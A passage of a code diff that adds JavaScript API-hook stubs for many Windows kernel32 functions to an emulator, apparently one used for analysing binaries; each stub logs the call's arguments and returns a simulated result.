REG_RAX : REG_EAX, dwSize); // :D + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +VirtualFree.install('kernel32.dll', 'VirtualFree'); + +/* +################################################################################################### +################################################################################################### +*/ + +var HeapDestroy = new ApiHook(); +/* +BOOL HeapDestroy( + HANDLE hHeap +); +*/ +HeapDestroy.OnCallBack = function (Emu, API, ret) { + Emu.pop(); + + + var hHeap = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + print('HeapDestroy(0x{0}, {1}, {2}) = 0x{3} '.format( + hHeap.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +HeapDestroy.install('kernel32.dll', 'HeapDestroy'); +HeapDestroy.install('api-ms-win-core-heap-l1-1-0.dll', 'HeapDestroy'); + +/* +################################################################################################### +################################################################################################### +*/ + +var HeapSize = new ApiHook(); +/* +SIZE_T HeapSize( + HANDLE hHeap, + DWORD dwFlags, + LPCVOID lpMem +); +*/ +HeapSize.OnCallBack = function (Emu, API, ret) { + Emu.pop(); + + + var hHeap = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var dwFlags = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.pop(); + var lpMem = Emu.isx64 ? Emu.ReadReg(REG_R8D) : Emu.pop(); + + // print('HeapSize(0x{0}, {1}, 0x{2})'.format( + // hHeap.toString(16), + // dwFlags, + // lpMem.toString(16) + // )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1000); // TODO: implement Mem Manager . + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +HeapSize.install('kernel32.dll', 'HeapSize'); +HeapSize.install('api-ms-win-core-heap-l1-1-0.dll', 'HeapSize'); + +/* +################################################################################################### +################################################################################################### +*/ + + +var GetProcessHeap = new ApiHook(); +/* +HANDLE GetProcessHeap(); +*/ +GetProcessHeap.OnCallBack = function (Emu, API, ret) { + Emu.pop(); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, pla); // TODO: implement Mem Manager . + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +GetProcessHeap.install('kernel32.dll', 'GetProcessHeap'); + +/* +################################################################################################### +################################################################################################### +*/ + +var VirtualProtect = new ApiHook(); +/* +BOOL WINAPI VirtualProtect( + _In_ LPVOID lpAddress, + _In_ SIZE_T dwSize, + _In_ DWORD flNewProtect, + _Out_ PDWORD lpflOldProtect +); +*/ +VirtualProtect.OnCallBack = function (Emu, API, ret) { + + //TODO: implemenet in Native side - memory manager. + + Emu.pop(); + + var lpAddress = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var dwSize = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + var flNewProtect = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + var lpflOldProtect = Emu.isx64 ? Emu.ReadReg(REG_R9) : Emu.pop(); + + print('VirtualProtect(0x{0}, {1}, {2}, {3})'.format( + lpAddress.toString(16), + dwSize, + flNewProtect, + lpflOldProtect + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; + +VirtualProtect.install('kernel32.dll', 'VirtualProtect'); + + + +/* +################################################################################################### +################################################################################################### +*/ + +var GetConsoleOutputCP = new ApiHook(); +/* +Identifier .NET Name Additional information +1252 windows-1252 ANSI Latin 1; Western European (Windows) +*/ +GetConsoleOutputCP.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + print('GetConsoleOutputCP : ',1252); + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1252); + + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +GetConsoleOutputCP.install('kernel32.dll', 'GetConsoleOutputCP'); +/* +################################################################################################### +################################################################################################### +*/ + +var GetACP = new ApiHook(); +/* +UINT GetACP(); + +Identifier .NET Name Additional information +1252 windows-1252 ANSI Latin 1; Western European (Windows) +*/ +GetACP.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + print('GetACP : ',1252); + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1252); + + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +GetACP.install('kernel32.dll', 'GetACP'); +GetACP.install('api-ms-win-core-localization-l1-1-0.dll', 'GetACP'); + +/* +################################################################################################### +################################################################################################### +*/ + +var GetCPInfo = new ApiHook(); +/* +BOOL GetCPInfo( + UINT CodePage, + LPCPINFO lpCPInfo +); +*/ +GetCPInfo.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var CodePage = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var lpCPInfo = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + + // print('GetCPInfo({0}, {1})'.format( + // CodePage, + // lpCPInfo.toString(16) + // )); + + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +GetCPInfo.install('kernel32.dll', 'GetCPInfo'); +GetCPInfo.install('api-ms-win-core-localization-l1-1-0.dll', 'GetCPInfo'); + +/* +################################################################################################### +################################################################################################### +*/ + + +var IsValidCodePage = new ApiHook(); +/* +BOOL IsValidCodePage( + UINT CodePage +); +more info check : +https://docs.microsoft.com/en-us/windows/desktop/Intl/code-page-identifiers +*/ +IsValidCodePage.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var CodePage = Emu.isx64 ? Emu.ReadReg(REG_ECX) : Emu.pop(); + print('IsValidCodePage(',CodePage,')'); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +IsValidCodePage.install('kernel32.dll', 'IsValidCodePage'); +/* +################################################################################################### +################################################################################################### +*/ + +var GetModuleFileName = new ApiHook(); +/* +DWORD WINAPI GetModuleFileName( + _In_opt_ HMODULE hModule, + _Out_ LPTSTR lpFilename, + _In_ DWORD nSize +); +*/ +GetModuleFileName.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var hModule = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var lpFilename = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + var nSize = Emu.isx64 ? Emu.ReadReg(REG_R8D) : Emu.pop(); + + var mName = Emu.GetModuleName(hModule); + var Path = 'C:\\pla\\' + mName; + + var len = API.IsWapi ? Emu.WriteStringW(lpFilename,Path) : Emu.WriteStringA(lpFilename,Path); + + // null byte - mybe needed maybe not :D - i put it anyway :V + API.IsWapi ? Emu.WriteWord(lpFilename + (len * 2),0) : Emu.WriteByte(lpFilename+len,0); + + print("GetModuleFileName{0}(0x{1}, 0x{2}, 0x{3}) = '{4}'".format( + API.IsWapi ? 'W' : 'A', + hModule.toString(16), + lpFilename.toString(16), + nSize.toString(16), + Path + )); + + // MS Docs : the return value is the length of the string + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, len); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +GetModuleFileName.install('kernel32.dll', 'GetModuleFileNameA'); +GetModuleFileName.install('kernel32.dll', 'GetModuleFileNameW'); + +/* +################################################################################################### +################################################################################################### +*/ + +var EncodePointer = new ApiHook(); +/* +PVOID EncodePointer( + _In_ PVOID Ptr +); +*/ +EncodePointer.OnCallBack = function (Emu, API,ret) { + + Emu.pop(); // ret + + var Ptr = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + var cookie = Ptr ^ 0xC0DE; + + print('EncodePointer(0x{0}) = 0x{1} '.format( + Ptr.toString(16), + cookie.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, cookie); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +EncodePointer.install('kernel32.dll', 'EncodePointer'); +EncodePointer.install('api-ms-win-core-util-l1-1-0.dll', 'EncodePointer'); + +/* +################################################################################################### +################################################################################################### +*/ + + +var DecodePointer = new ApiHook(); +/* +PVOID DecodePointer( + PVOID Ptr +); +*/ +DecodePointer.OnCallBack = function (Emu, API,ret) { + + Emu.pop(); // ret + + var Ptr = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + var cookie = Ptr ^ 0xC0DE; + + print('DecodePointer(0x{0}) = 0x{1} '.format( + Ptr.toString(16), + cookie.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, cookie); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +DecodePointer.install('kernel32.dll', 'DecodePointer'); + + +/* +################################################################################################### +################################################################################################### +*/ + + +var InitializeCriticalSectionAndSpinCount = new ApiHook(); +/* +BOOL InitializeCriticalSectionAndSpinCount( + LPCRITICAL_SECTION lpCriticalSection, + DWORD dwSpinCount +); +*/ +InitializeCriticalSectionAndSpinCount.OnCallBack = function (Emu, API,ret) { + + Emu.pop(); // ret + + var lpCriticalSection = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var dwSpinCount = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + + + // print('InitializeCriticalSectionAndSpinCount(0x{0}, {1}) = 1 '.format( + // lpCriticalSection.toString(16), + // dwSpinCount + // )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); // This function always succeeds and returns a nonzero value. from MS Docs :V . + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +InitializeCriticalSectionAndSpinCount.install('kernel32.dll', 'InitializeCriticalSectionAndSpinCount'); + +InitializeCriticalSectionAndSpinCount.install('api-ms-win-core-synch-l1-1-0.dll', 'InitializeCriticalSectionAndSpinCount'); + +/* +################################################################################################### +################################################################################################### +*/ + +var InitializeCriticalSectionEx = new ApiHook(); +/* +BOOL InitializeCriticalSectionEx( + LPCRITICAL_SECTION lpCriticalSection, + DWORD dwSpinCount, + DWORD Flags +); +*/ +InitializeCriticalSectionEx.OnCallBack = function (Emu, API,ret) { + + Emu.pop(); // ret + + var lpCriticalSection = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var dwSpinCount = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + var Flags = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + + // print('InitializeCriticalSectionEx(0x{0}, {1}, {2}) = 1 '.format( + // lpCriticalSection.toString(16), + // dwSpinCount, + // Flags + // )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); // from MS Docs :V . + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +InitializeCriticalSectionEx.install('kernel32.dll', 'InitializeCriticalSectionEx'); +InitializeCriticalSectionEx.install('api-ms-win-core-synch-l1-1-0.dll', 'InitializeCriticalSectionEx'); + +/* +################################################################################################### +################################################################################################### +*/ +var InitializeCriticalSection = new ApiHook(); +/* +_Maybe_raises_SEH_exception_ VOID InitializeCriticalSection( + LPCRITICAL_SECTION lpCriticalSection +); +*/ +InitializeCriticalSection.OnCallBack = function (Emu, API,ret) { + + Emu.pop(); // ret + + var lpCriticalSection = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + print('InitializeCriticalSection(0x{0})'.format( + lpCriticalSection.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +InitializeCriticalSection.install('kernel32.dll', 'InitializeCriticalSection'); + +/* +################################################################################################### +################################################################################################### +*/ + +var GetStartupInfo = new ApiHook(); +/* +void GetStartupInfo( + LPSTARTUPINFOA lpStartupInfo +); +*/ +GetStartupInfo.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + +/* +_STARTUPINFOW struc ; (sizeof=0x44, align=0x4, copyof_14) +00000000 cb dd ? +00000004 lpReserved dd ? ; offset +00000008 lpDesktop dd ? ; offset +0000000C lpTitle dd ? ; offset +00000010 dwX dd ? +00000014 dwY dd ? +00000018 dwXSize dd ? +0000001C dwYSize dd ? +00000020 dwXCountChars dd ? +00000024 dwYCountChars dd ? +00000028 dwFillAttribute dd ? +0000002C dwFlags dd ? +00000030 wShowWindow dw ? +00000032 cbReserved2 dw ? +00000034 lpReserved2 dd ? +00000038 hStdInput dd ? +*/ + + var lpStartupInfo = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + + print('GetStartupInfo(0x',lpStartupInfo.toString(16),')'); // TODO: implement struct write . + + Emu.WriteDword(lpStartupInfo+0x30,0); // wShowWindow & cbReserved2 + Emu.WriteDword(lpStartupInfo+0x34,0); // lpReserved2 + + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; +GetStartupInfo.install('kernel32.dll', 'GetStartupInfoA'); +GetStartupInfo.install('kernel32.dll', 'GetStartupInfoW'); + +GetStartupInfo.install('api-ms-win-core-processthreads-l1-1-0.dll', 'GetStartupInfoW'); + + +/* +################################################################################################### +################################################################################################### +*/ + + +var GetSystemTimeAsFileTime = new ApiHook(); +/* +void WINAPI GetSystemTimeAsFileTime( + _Out_ LPFILETIME lpSystemTimeAsFileTime +); +*/ +GetSystemTimeAsFileTime.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var lpSysTime = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + print('GetSystemTimeAsFileTime(0x',lpSysTime.toString(16),')'); // TODO: implement struct write . + + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; +GetSystemTimeAsFileTime.install('kernel32.dll', 'GetSystemTimeAsFileTime'); +GetSystemTimeAsFileTime.install('api-ms-win-core-sysinfo-l1-1-0.dll', 'GetSystemTimeAsFileTime'); + + +/* +################################################################################################### +################################################################################################### +*/ + +var GetTickCount = new ApiHook(); +/* +DWORD WINAPI GetTickCount(void); +*/ +var first = true; + +GetTickCount.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var tick = Date.now(); + if (first == true){ + + first = false; + + }else{ + tick += 600; // For Anti Debug & Emulation tricks . + + first = true; + } + + print('GetTickCount = ' , tick); // TODO: implement struct write . + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, tick); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +GetTickCount.install('kernel32.dll', 'GetTickCount'); +GetTickCount.install('api-ms-win-core-sysinfo-l1-1-0.dll', 'GetTickCount'); + + +/* +################################################################################################### +################################################################################################### +*/ + +var QueryPerformanceCounter = new ApiHook(); +/* +BOOL WINAPI QueryPerformanceCounter( + _Out_ LARGE_INTEGER *lpPerformanceCount +); +*/ +QueryPerformanceCounter.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + // var tick = Date.now(); + + var lpPerformanceCount = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + print('QueryPerformanceCounter(0x{0})'.format(lpPerformanceCount.toString(16))); // TODO: implement WriteDword . + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +QueryPerformanceCounter.install('kernel32.dll', 'QueryPerformanceCounter'); +QueryPerformanceCounter.install('api-ms-win-core-profile-l1-1-0.dll', 'QueryPerformanceCounter'); + +/* +################################################################################################### +################################################################################################### +*/ + +var GetCommandLine = new ApiHook(); +/* +LPTSTR WINAPI GetCommandLine(void); +*/ +GetCommandLine.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var cmd = API.IsWapi ? (0x40000000 + 0x30000) : (0x40000000 + 0x31000); // TODO implement memory mng . + + var mName = Emu.GetModuleName(0); // Current module . + var Path = '"C:\\pla\\' + mName + '"'; // :D + + API.IsWapi ? Emu.WriteStringW(cmd,Path) : Emu.WriteStringA(cmd,Path); + + print("{0}() = 0x{1} = '{2}'".format( + API.name, + cmd.toString(16), + Path + )); + + // MS Docs : the return value is the length of the string + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, cmd); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +GetCommandLine.install('kernel32.dll', 'GetCommandLineA'); +GetCommandLine.install('kernel32.dll', 'GetCommandLineW'); + +GetCommandLine.install('api-ms-win-core-processenvironment-l1-1-0.dll', 'GetCommandLineA'); +GetCommandLine.install('api-ms-win-core-processenvironment-l1-1-0.dll', 'GetCommandLineW'); + +/* +################################################################################################### +################################################################################################### +*/ + +var GetEnvironmentStrings = new ApiHook(); +/* +LPTCH WINAPI GetEnvironmentStrings(void); +*/ +GetEnvironmentStrings.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + + var cmd = API.IsWapi ? (0x40000000 + 0x40000) : (0x40000000 + 0x41000); // pla + 0x60000. + + + var env1 = '=::=::\\'; // :D + API.IsWapi ? Emu.WriteStringW(cmd,env1) : Emu.WriteStringA(cmd,env1); + + // if a + var env2 = 'USERNAME=Me'; // :D + API.IsWapi ? Emu.WriteStringW((cmd + (env1.length * 2) + 1) ,env2) : Emu.WriteStringA(cmd + (env1.length + 1) ,env2); + + + print("GetEnvironmentStrings{0}() = 0x{1}".format( + API.IsWapi ? 'W' : 'A', + cmd.toString(16) + )); + + // MS Docs : the return value is the length of the string + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, cmd); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +GetEnvironmentStrings.install('kernel32.dll', 'GetEnvironmentStringsA'); +GetEnvironmentStrings.install('kernel32.dll', 'GetEnvironmentStringsW'); + +GetEnvironmentStrings.install('api-ms-win-core-processenvironment-l1-1-0.dll', 'GetEnvironmentStringsA'); +GetEnvironmentStrings.install('api-ms-win-core-processenvironment-l1-1-0.dll', 'GetEnvironmentStringsW'); + +/* +################################################################################################### +################################################################################################### +*/ + +var FreeEnvironmentStrings = new ApiHook(); +/* +BOOL WINAPI FreeEnvironmentStrings( + _In_ LPTCH lpszEnvironmentBlock +); +*/ +FreeEnvironmentStrings.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var lpszEnvironmentBlock = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + print('FreeEnvironmentStrings{0}(0x{1})'.format( + API.IsWapi ? 'W' : 'A', + lpszEnvironmentBlock.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; + +FreeEnvironmentStrings.install('kernel32.dll', 'FreeEnvironmentStringsA'); +FreeEnvironmentStrings.install('kernel32.dll', 'FreeEnvironmentStringsW'); + +FreeEnvironmentStrings.install('api-ms-win-core-processenvironment-l1-1-0.dll', 'FreeEnvironmentStringsA'); +FreeEnvironmentStrings.install('api-ms-win-core-processenvironment-l1-1-0.dll', 'FreeEnvironmentStringsW'); + +/* +################################################################################################### +################################################################################################### +*/ + +/* +check +https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-isprocessorfeaturepresent +for more info :D +*/ +var IsProcessorFeaturePresent = new ApiHook(); +/* +BOOL IsProcessorFeaturePresent( + DWORD ProcessorFeature +); +*/ +IsProcessorFeaturePresent.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var ProcessorFeature = Emu.isx64 ? Emu.ReadReg(REG_ECX) : Emu.pop(); + + print('IsProcessorFeaturePresent({0})'.format( + ProcessorFeature + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; + +IsProcessorFeaturePresent.install('kernel32.dll', 'IsProcessorFeaturePresent'); + +/* +################################################################################################### +################################################################################################### +*/ + +var MutexList = []; + +var CreateMutex = new ApiHook(); +/* +HANDLE CreateMutex( + LPSECURITY_ATTRIBUTES lpMutexAttributes, + BOOL bInitialOwner, + LPCSTR lpName +); +*/ +CreateMutex.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var lpMutexAttributes = Emu.isx64 ? Emu.ReadReg(REG_ECX) : Emu.pop(); + var bInitialOwner = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + var lpName = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + + + var MutexName = API.IsWapi ? Emu.ReadStringW(lpName) : Emu.ReadStringA(lpName); + + var initOwner = bInitialOwner == 1 ? 'True' : 'False'; + + print("CreateMutex(0x{0},{1},'{2}')".format( + lpMutexAttributes.toString(16), + initOwner, + MutexName + )); + + MutexList.push(MutexName); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +CreateMutex.install('kernel32.dll', 'CreateMutexA'); +CreateMutex.install('kernel32.dll', 'CreateMutexW'); + +/* +################################################################################################### +################################################################################################### +*/ + +var GetFileAttributes = new ApiHook(); +/* +DWORD GetFileAttributesA( + LPCSTR lpFileName +); +*/ +GetFileAttributes.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var lpFileName = Emu.isx64 ? Emu.ReadReg(REG_ECX) : Emu.pop(); + + var Filename = API.IsWapi ? Emu.ReadStringW(lpFileName) : Emu.ReadStringA(lpFileName); + + print("GetFileAttributes{0}('{1}')".format( + API.IsWapi ? 'W' : 'A', + Filename + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 0); // TODO :V check if file exists in our virtual Emu . + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +GetFileAttributes.install('kernel32.dll', 'GetFileAttributesA'); +GetFileAttributes.install('kernel32.dll', 'GetFileAttributesW'); + +/* +################################################################################################### +################################################################################################### +*/ + +var GetSystemTime = new ApiHook(); +/* +void WINAPI GetSystemTime( + _Out_ LPSYSTEMTIME lpSystemTime +); +void WINAPI GetLocalTime( + _Out_ LPSYSTEMTIME lpSystemTime +); +*/ +GetSystemTime.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var lpSystemTime = Emu.isx64 ? Emu.ReadReg(REG_ECX) : Emu.pop(); + + var SysTime = [0xE2,0x07, // wYear + 0x09,0x00, // wMonth + 0x05,0x00, // wDayOfWeek + 0x07,0x00, // wDay + 0x0C,0x00, // wHour + 0x30,0x00, // wMinute + 0x15,0x00, // wSecond + 0x73,0x02]; // wMilliseconds + + Emu.WriteMem(lpSystemTime,SysTime); + + print("GetSystemTime(0x{0})".format( + lpSystemTime + )); + + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +GetSystemTime.install('kernel32.dll', 'GetSystemTime'); +GetSystemTime.install('kernel32.dll', 'GetLocalTime'); + +/* +################################################################################################### +################################################################################################### +*/ + +var SetFileAttributes = new ApiHook(); +/* +BOOL SetFileAttributes( + LPCSTR lpFileName, + DWORD dwFileAttributes +); +*/ +SetFileAttributes.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // ret + + var lpFileName = Emu.isx64 ? Emu.ReadReg(REG_ECX) : Emu.pop(); + var dwFileAttributes = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + + var Filename = API.IsWapi ? Emu.ReadStringW(lpFileName) : Emu.ReadStringA(lpFileName); + + print("SetFileAttributes{0}('{1}',0x{2})".format( + API.IsWapi ? 'W' : 'A', + Filename, + dwFileAttributes.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +SetFileAttributes.install('kernel32.dll', 'SetFileAttributesA'); +SetFileAttributes.install('kernel32.dll', 'SetFileAttributesW'); + +/* +################################################################################################### +################################################################################################### +*/ + +var InterlockedCompareExchange = new ApiHook(); +InterlockedCompareExchange.OnCallBack = function (Emu, API,ret) { + + warn('InterlockedCompareExchange'); + + return true; // let lib handle it +}; +InterlockedCompareExchange.install('kernel32.dll', 'InterlockedCompareExchange'); +InterlockedCompareExchange.install('api-ms-win-core-interlocked-l1-1-0.dll', 'InterlockedCompareExchange'); + +/* +################################################################################################### +################################################################################################### +*/ + +var InterlockedExchange = new ApiHook(); +InterlockedExchange.OnCallBack = function (Emu, API,ret) { + + warn('InterlockedExchange - kernel32 will handle it for us :D'); + + return true; // let lib handle it +}; +InterlockedExchange.install('kernel32.dll', 'InterlockedExchange'); +InterlockedExchange.install('api-ms-win-core-interlocked-l1-1-0.dll', 'InterlockedExchange'); + +/* +################################################################################################### +################################################################################################### +*/ + +var DisableThreadLibraryCalls = new ApiHook(); +/* +BOOL WINAPI DisableThreadLibraryCalls( + _In_ HMODULE hModule +); +*/ +DisableThreadLibraryCalls.OnCallBack = function (Emu, API,ret) { + + Emu.pop(); // ret + + var hModule = Emu.isx64 ? Emu.ReadReg(REG_ECX) : Emu.pop(); + log('DisableThreadLibraryCalls({0})'.format( + hModule.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +DisableThreadLibraryCalls.install('kernel32.dll', 'DisableThreadLibraryCalls'); +DisableThreadLibraryCalls.install('api-ms-win-core-libraryloader-l1-1-0.dll', 'DisableThreadLibraryCalls'); + +/* +################################################################################################### +################################################################################################### +*/ + +var GetStdHandle = new ApiHook(); +/* +HANDLE WINAPI GetStdHandle( + _In_ DWORD nStdHandle +); +*/ +GetStdHandle.OnCallBack = function (Emu, API,ret) { + + Emu.pop(); // ret + + var nStdHandle = Emu.isx64 ? Emu.ReadReg(REG_ECX) : Emu.pop(); + + log('GetStdHandle({0})'.format( + nStdHandle.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 0); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +GetStdHandle.install('kernel32.dll', 'GetStdHandle'); +GetStdHandle.install('api-ms-win-core-processenvironment-l1-1-0.dll', 'GetStdHandle'); + +/* +################################################################################################### +################################################################################################### +*/ + + +var SetHandleCount = new ApiHook(); +/* +UINT SetHandleCount( + UINT uNumber +); +*/ +SetHandleCount.OnCallBack = function (Emu, API,ret) { + + Emu.pop(); // ret + + var uNumber = Emu.isx64 ? Emu.ReadReg(REG_ECX) : Emu.pop(); + + log('SetHandleCount(0x{0})'.format( + uNumber.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, uNumber); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +SetHandleCount.install('kernel32.dll', 'SetHandleCount'); +SetHandleCount.install('api-ms-win-core-misc-l1-1-0.dll', 'SetHandleCount'); + +/* +################################################################################################### +################################################################################################### +*/ + +var GetFileType = new ApiHook(); +/* +DWORD GetFileType( + HANDLE hFile +); +*/ +GetFileType.OnCallBack = function (Emu, API,ret) { + + Emu.pop(); // ret + + var nStdHandle = Emu.isx64 ? Emu.ReadReg(REG_ECX) : Emu.pop(); + + log('GetFileType({0})'.format( + nStdHandle.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +GetFileType.install('kernel32.dll', 'GetFileType'); +GetFileType.install('api-ms-win-core-file-l1-1-0.dll', 'GetFileType'); + +/* +################################################################################################### +################################################################################################### +*/ + +var lstrcpyn = new ApiHook(); +lstrcpyn.OnCallBack = function (Emu, API, ret) { + + // read variables direct without pop so the lib can handle it :D + // and so we can print stuff :V + var Dest = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + (4 * 0) ); + var Src = Emu.isx64 ? Emu.ReadReg(REG_EDX) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + (4 * 1) ); + var count = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + (4 * 2) ); + + warn("lstrcpyn{0}(Dest = 0x{1}, Src = '{2}', count = {3})".format( + API.IsWapi ? 'W' : 'A', + Dest, + API.IsWapi ? Emu.ReadStringW(Src) : Emu.ReadStringA(Src), + count + )); + // we don't pop any values so + // just let the library handle it :D + return true; +}; +lstrcpyn.install('kernel32.dll', 'lstrcpynA'); +lstrcpyn.install('kernel32.dll', 'lstrcpynW'); + +/* +################################################################################################### +################################################################################################### +*/ + +var GetConsoleMode = new ApiHook(); +/* +BOOL WINAPI GetConsoleMode( + _In_ HANDLE 